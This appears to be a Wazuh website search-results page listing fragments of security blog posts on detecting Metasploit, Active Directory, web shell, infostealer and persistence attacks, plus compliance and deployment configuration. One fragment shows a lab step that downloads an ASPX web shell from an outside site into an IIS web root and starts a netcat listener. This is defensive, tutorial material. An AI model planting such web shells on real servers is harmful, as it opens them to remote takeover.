Use cases / Regulatory Compliance
...help monitor compliance status, identify improvement areas, and take appropriate remediation actions. See our SCA documentation for more information. Streamline compliance activities Use Wazuh XDR and SIEM capabilities to streamline compliance activities....
Blog / Engineering / Detecting Metasploit attacks
...https://www.cvedetails.com/cve/CVE-2018-7600/ - https://nvd.nist.gov/vuln/detail/CVE-2018-7600 - https://www.rapid7.com/db/modules/exploit/unix/webapp/drupal_drupalgeddon2 condition: none rules: - 'c:find /var/www/ -type f -wholename *modules/help/help.inf* -exec grep -P version {} + -> r:^version && r:\p6.\d+' - 'c:find /var/www/ -type f...
Blog / Engineering / How to detect Active Directory attacks with Wazuh [Part 1 of 2]
...has the client as Client: FakeUser @ wazuhtest.com. Current LogonId is 0:0x186c51 Cached Tickets: (1) #0> Client: FakeUser @ wazuhtest.com Server: krbtgt/wazuhtest.com @ wazuhtest.com KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Ticket Flags...
Blog / Engineering / Web shell attack detection with Wazuh
...commands: > Invoke-WebRequest -OutFile 'C:\Users\Public\Downloads\webshell.aspx' -Uri https://privdayz.com/cdn/txt/aspx.txt > copy 'C:\Users\Public\Downloads\webshell.aspx' 'C:\inetpub\wwwroot\webshell-script.aspx' Parrot OS endpoint 1. On the Parrot OS endpoint, listen on port 4444 using the following command: $ nc...
Blog / Engineering / Ensuring NIS2 compliance with Wazuh
...that monitors changes on the /root and /var/www/html/ directories while ignoring changes within /var/www/html/tmp directory: <syscheck> <directories check_all="yes" report_changes="yes" realtime="yes">/root</directories> <directories check_all="yes" realtime="yes">/var/www/html</directories> <ignore>/var/www/html/tmp</ignore> </syscheck> Where: <syscheck> is the root...
Blog / Engineering / Scanning Docker infrastructure against CIS Benchmark with Wazuh
...audit daemon using the command \"systemctl restart auditd\"." compliance: - cis: ["1.1.12"] condition: any rules: - 'not f:/etc/containerd/config.toml' - 'c:sh -c "command -v auditctl > /dev/null && auditctl -l ||...
Blog / Engineering / Wazuh multi-site implementation
...components to be deployed. # curl -sO https://packages.wazuh.com/4.7/wazuh-certs-tool.sh # curl -sO https://packages.wazuh.com/4.7/config.yml 2. Edit the config.yml file and replace the node names and IP values with the corresponding names and...
Blog / Engineering / Managing multiple Wazuh clusters with Cross-Cluster Search
...Wazuh repository: # rpm --import https://packages.wazuh.com/key/GPG-KEY-WAZUH # echo -e '[wazuh]\ngpgcheck=1\ngpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH\nenabled=1\nname=EL-$releasever - Wazuh\nbaseurl=https://packages.wazuh.com/4.x/yum/\nprotect=1' | tee /etc/yum.repos.d/wazuh.repo 3. Update the package manager: # yum update -y 4. Install the Wazuh indexer package:...
Blog / Engineering / How to detect Active Directory attacks with Wazuh [Part 2 of 2]
...cmd command to connect to the domain controller and execute commands remotely. Replace with your own Windows server name. After running the command, access is denied because the current user...
Blog / Engineering / How to detect RedLine Infostealer with Wazuh
...condition: all rules: - not f:%WINDIR%\System32\Drivers\etc\HOSTS -> r:avast.com|mcafee.com; - not f:%WINDIR%\System32\Drivers\etc\HOSTS -> r:bitdefender.com|us.norton.com; - not f:%WINDIR%\System32\Drivers\etc\HOSTS -> r:avg.com|malwarebytes.com; - not f:%WINDIR%\System32\Drivers\etc\HOSTS -> r:avira.com|norton.com; - not f:%WINDIR%\System32\Drivers\etc\HOSTS -> r:eset.com|microsoft.com; - not...
Blog / Engineering / Detecting and blocking Cacti remote code execution vulnerability (CVE-2022-46169) with Wazuh
.../var/ossec/etc/ossec.conf file and add the following command and active response block: <command> <name>firewalld-drop</name> <executable>firewalld-drop</executable> <timeout_allowed>yes</timeout_allowed> </command> <active-response> <command>firewalld-drop</command> <location>local</location> <rules_id>100302</rules_id> </active-response> <command>: Specifies the command that would be executed by...
Blog / Engineering / Detecting common Linux persistence techniques with Wazuh
...auditd logs to the Wazuh server --> <localfile> <log_format>audit</log_format> <location>/var/log/audit/audit.log</location> </localfile> <!-- Command monitoring (command executes every 180 seconds) --> <localfile> <log_format>command</log_format> <command>ps -ef | grep "[/]etc/rc.local" | awk '{print...